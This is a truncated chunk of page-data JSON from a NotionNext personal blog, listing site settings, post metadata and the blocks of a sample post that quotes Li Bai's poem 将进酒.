+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"d3216be6-1b27-40e7-8677-7404896b7eb6":{"value":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","version":31,"type":"page","content":["6c2aad49-6a12-4775-914f-7ed36358eb32","9b26bd9a-9a46-4d36-b995-bf4d3d58dd45","c2d6e2c5-296b-475c-b2d8-7723d212a732","f0f6bef4-ecce-4a2f-a4c3-08d7582d4c2a","9369db5e-52eb-4c76-8f20-ee3937c65109","f190aaaf-4ada-493b-bb58-bac82327317e","41e02cef-9892-468d-a759-e74c41dfcd70","3ac4ec2f-1b75-41a4-8048-ee14e5549d21","266dce1b-2303-4514-aa52-2c946c8d8fba","3a8f1cf9-1509-4b97-93d7-aef56bcaf85a","3afc4b4f-2afa-4732-b15c-70cb97502fba","58a2fe87-4e0c-40aa-baed-b99e677f4891","abc36c13-25fc-4b0d-bda9-6b45a9d992bc","0d862f5f-f617-4972-a07f-c90da2679c24","2feae355-4a74-4b81-a318-b1cdaf3345b1","a625f064-b0f6-4744-b6b9-e40aaf12ffa9","d1de48bb-00c6-40ac-81df-d6fb0b784f36","62a16f54-8d5e-41cc-a7a4-70f28d18bb2a","b87bd083-9175-48c6-adee-7a6e4e38b8cd","51b6910d-e9cd-4a81-aae0-766883f9d904","b407262e-e839-4266-8acc-6e5829f928c9","e289a4a8-54f9-47df-b1f1-5a5f778c93ab","b30997a8-63eb-4339-bfa3-5b06ef9bd842","9c9075da-d8aa-4347-9bbb-b41a1c7fcc78","e57ed9a8-9c51-4b46-aa09-400d5154a42f","43181d65-d467-4bd5-a8cb-6942161eabd5","eb3a98c3-8978-40b5-9166-5cef30088d2a","5fef12d0-8a28-437c-8514-47243e565b19","182a922c-a77e-4465-a7bf-b6cd9bb8aa95","af988ade-cbe2-4091-b037-e8a39b7ef3fc","3206c63c-38c9-42a5-9829-1f8a39e6e0eb","c311a2ed-ff9b-41ef-8259-c5d55e7076f6","4748bbad-6dc8-4e84-ab43-96c076df3dd2","b8800b2b-162c-42fa-9302-c258941e9dbf","3f939f7e-4387-4bf1-9fb0-d1b17a08ec88","180fd5e9-cf79-432d-8d92-894d783e5e00","ecc94ae7-f9d8-4d24-bb4d-cf3cd8363c26","3fba972c-29f1-458a-a947-7d8aa18f79e6","7050f906-9255-4e76-840e-000da98df97d","eb25cdb8-697c-4b55-a556-e416f9ecdbfb","b4f0f638-f797-4040-9600-f5576c4520be","4038cfa4-b79f-4562-b5d8-9ed98addba56","c32fcf2f-d00c-4555-b1f9-1e0cecdf2956","3ccfd881-f68a-446b-b9e3-ad394ab9d36f","522cceae-719e-47fe-880a-29732a5e4ca5","150b9807-a36f-45eb-9892-d9f6a0f1db56","42ab1b80-3546-4a53-a9ca-bb98d854e4c3","fd0213c3-3749-4192-9153-a4ed99862478","0186f962-3e26-4d4c-94ac-91763ada0633","7d0286ac-a9d7-4830-af71-ef7b45c2f171","e4a4f952-60d5-4bb8-a96f-a835fe58bd3b","c994ab66-5436-4200-bc41-90a32ae0ee7e","e0c369fb-2c38-4e2d-b639-361bca715727","b2eef454-ef1f-4137-a256-ed8d7f28ca5d","75a4c9a0-0331-416b-86ac-184c365390a9","f7f5b64a-3ff6-47b3-947d-80f9e1704081","db08546f-0540-456c-9244-e258c16452c3","c06aaa31-3788-4ed1-b964-ad1ff77fe151","24d6c0a0-f4d3-44dd-b749-4f048b962bcd","58b92af2-69c7-4e70-b107-5b62363f7bf8","7a70e08b-725e-4db5-9f17-8dc53540f006","42e434d6-3a26-49f0-8405-04854616fc19","f862643d-1c2d-4678-9168-580da7e368dc","573fc380-fb6b-434b-897f-3510f4c57832"],"format":{"page_font":"serif","page_icon":"🗓️","page_cover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"a6271da0-6b8f-47a3-9735-e8fa770f1d9f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"page_cover_position":0.5},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"}],"created_time":1705638991057,"last_edited_time":1705645088580,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"a6271da0-6b8f-47a3-9735-e8fa770f1d9f","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"6c2aad49-6a12-4775-914f-7ed36358eb32":{"value":{"id":"6c2aad49-6a12-4775-914f-7ed36358eb32","type":"header","properties":{"title":[["基本段落"]]},"format":{"copied_from_pointer":{"id":"446eafa5-f482-4ccf-8998-fbd1a51eee0b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991034,"last_edited_time":1705638991034,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"446eafa5-f482-4ccf-8998-fbd1a51eee0b"}},"9b26bd9a-9a46-4d36-b995-bf4d3d58dd45":{"value":{"id":"9b26bd9a-9a46-4d36-b995-bf4d3d58dd45","type":"quote","properties":{"title":[["书中自有黄金屋,书中自有颜如玉"]]},"format":{"copied_from_pointer":{"id":"ce76391f-3f28-42d3-8646-8ff1eb705b92","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991041,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991041,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"ce76391f-3f28-42d3-8646-8ff1eb705b92"}},"c2d6e2c5-296b-475c-b2d8-7723d212a732":{"value":{"id":"c2d6e2c5-296b-475c-b2d8-7723d212a732","type":"callout","properties":{"title":[["生活的意义并不是与他人争高下,而在于享受努力实现目标的过程,结果只是对自己行动的嘉奖。"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"81283d86-5b13-4c77-a1cf-316bcd8e4152","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991037,"last_edited_time":1705638991037,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"81283d86-5b13-4c77-a1cf-316bcd8e4152"}},"f0f6bef4-ecce-4a2f-a4c3-08d7582d4c2a":{"value":{"id":"f0f6bef4-ecce-4a2f-a4c3-08d7582d4c2a","type":"sub_header","properties":{"title":[["将进酒",[["b"]]]]},"format":{"copied_from_pointer":{"id":"0c84d8d1-07c3-4969-90b2-03808c73c264","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991029,"last_edited_time":1705638991029,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"0c84d8d1-07c3-4969-90b2-03808c73c264"}},"9369db5e-52eb-4c76-8f20-ee3937c65109":{"value":{"id":"9369db5e-52eb-4c76-8f20-ee3937c65109","type":"text","properties":{"title":[["李白〔唐代〕"],["参考[1]",[["a","#a47eb4929c654ac4b8c895d00023a97e"]]]]},"format":{"copied_from_pointer":{"id":"99590d37-6a81-4349-a933-994d66be84a5","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991039,"last_edited_time":1705638991039,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"99590d37-6a81-4349-a933-994d66be84a5"}},"f190aaaf-4ada-493b-bb58-bac82327317e":{"value":{"id":"f190aaaf-4ada-493b-bb58-bac82327317e","type":"text","properties":{"title":[["君不见黄河之水天上来,奔流到海不复回。\n君不见高堂明镜悲白发,朝如青丝暮成雪。\n人生得意须尽欢,莫使金樽空对月。\n天生我材必有用,千金散尽还复来。\n烹羊宰牛且为乐,会须一饮三百杯。\n岑夫子,丹丘生,将进酒,杯莫停。\n与君歌一曲,请君为我倾耳听。\n钟鼓馔玉不足贵,但愿长醉不愿醒。\n古来圣贤皆寂寞,惟有饮者留其名。\n陈王昔时宴平乐,斗酒十千恣欢谑。\n主人何为言少钱,径须沽取对君酌。\n五花马、千金裘,呼儿将出换美酒,与尔同销万古愁。"]]},"format":{"copied_from_pointer":{"id":"189c6309-f15e-47ad-a135-a14f36cda7e4","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991030,"last_edited_time":1705638991030,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"189c6309-f15e-47ad-a135-a14f36cda7e4"}},"41e02cef-9892-468d-a759-e74c41dfcd70":{"value":{"id":"41e02cef-9892-468d-a759-e74c41dfcd70","type":"bookmark","properties":{"link":[["https://tangly1024.com/"]],"title":[["TANGLY's BLOG | 记录思考、分享我的学习笔记"]],"description":[["记录思考、分享我的学习笔记"]]},"format":{"bookmark_icon":"https://tangly1024.com/favicon.ico","bookmark_cover":"https://images.unsplash.com/photo-1564419320603-628d868a193f?q=50\u0026fm=jpg\u0026fit=crop\u0026w=1920\u0026h=1600","copied_from_pointer":{"id":"3a5174d9-05b5-4b29-bdb7-9be20977e8af","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991032,"last_edited_time":1705638991032,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"3a5174d9-05b5-4b29-bdb7-9be20977e8af"}},"3ac4ec2f-1b75-41a4-8048-ee14e5549d21":{"value":{"id":"3ac4ec2f-1b75-41a4-8048-ee14e5549d21","type":"external_object_instance","format":{"integration_id":"cdc46cd9-f0e9-48fd-b3aa-18481098e29e","is_placeholder":true,"copied_from_pointer":{"id":"fdceaba7-a336-4c8d-b710-5e6ea3ed90ca","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991045,"last_edited_time":1705638991045,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"fdceaba7-a336-4c8d-b710-5e6ea3ed90ca"}},"266dce1b-2303-4514-aa52-2c946c8d8fba":{"value":{"id":"266dce1b-2303-4514-aa52-2c946c8d8fba","type":"header","properties":{"title":[["特殊段落"]]},"format":{"copied_from_pointer":{"id":"3d9836fa-6437-437e-8a01-a0a4f530979a","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991032,"last_edited_time":1705638991032,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","a